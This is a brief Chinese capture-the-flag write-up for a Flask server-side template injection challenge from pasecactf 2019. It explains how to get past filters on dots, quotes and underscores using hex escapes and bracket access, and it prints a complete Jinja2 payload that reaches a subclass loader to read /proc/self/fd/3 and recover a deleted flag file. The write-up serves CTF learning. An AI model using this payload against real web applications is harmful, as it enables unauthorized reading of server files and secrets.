[pasecactf_2019]flask_ssti
知识点
- 过滤.'_的ssti绕过
- /proc/self/fd注重从进程角度说正在使用的文件描述符有哪些
解题步骤
_可以用16进制杠(反斜杠打不粗来)x5f绕过
.可以用[]绕过
'直接不用
最终payload{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
看app.py的时候,里面已经把flag文件remove了,只能去proc/self/fd里面找